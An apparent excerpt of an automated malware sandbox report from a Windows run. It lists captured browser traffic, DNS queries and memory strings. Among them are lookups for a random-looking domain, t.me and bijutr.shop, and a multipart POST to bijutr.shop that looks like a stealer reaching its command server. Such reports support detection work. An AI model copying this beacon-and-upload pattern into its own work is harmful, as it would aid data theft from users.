Source: global traffic	HTTP traffic detected: GET /b?rn=1735064913991&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=302665E99E416E3C182470B69FCB6F6B&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1735064913991&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=302665E99E416E3C182470B69FCB6F6B&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=100b66b45e7bac3f3b14d5f1735064915; XID=100b66b45e7bac3f3b14d5f1735064915
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1735064913990&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=25e0b3e5ef394e87be94b037e6030b83&activityId=25e0b3e5ef394e87be94b037e6030b83&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=B84458BB52864B9C8B94F9F4ABBF5707&MUID=302665E99E416E3C182470B69FCB6F6B HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=302665E99E416E3C182470B69FCB6F6B; _EDGE_S=F=1&SID=0DE3EBFAB5BE6BFF1F65FEA5B4FF6AFE; _EDGE_V=1; SM=T

Source: a0ee6985-01db-47c8-9b02-dc26a8a7baf2.tmp.27.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log3.27.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log3.27.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log3.27.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)
Source: chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000012.00000003.2736411447.0000278000F5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2736502374.0000278000F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2736290774.00002780003D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000012.00000003.2736411447.0000278000F5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2736502374.0000278000F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2736290774.00002780003D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000012.00000002.2809276901.00002780002D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: NsxXzupCMoDsL.NsxXzupCMoDsL
Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: bijutr.shop
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----3E3OP8QIMOZUAIMOHVS2User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0Host: bijutr.shopContent-Length: 256Connection: Keep-AliveCache-Control: no-cache

Source: chrome.exe, 00000012.00000002.2810771573.00002780006D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078E
Source: chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205)
Source: chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2874337334.0000266000300000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2975447168.000074F40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502H
Source: chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2874337334.0000266000300000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2975447168.000074F40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/35867
Source: msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2874337334.0000266000300000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2975447168.000074F40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2874337334.0000266000300000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2975447168.000074F40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2874337334.0000266000300000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2975447168.000074F40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2874337334.0000266000300000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2975447168.000074F40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2874337334.0000266000300000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2975447168.000074F40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722M
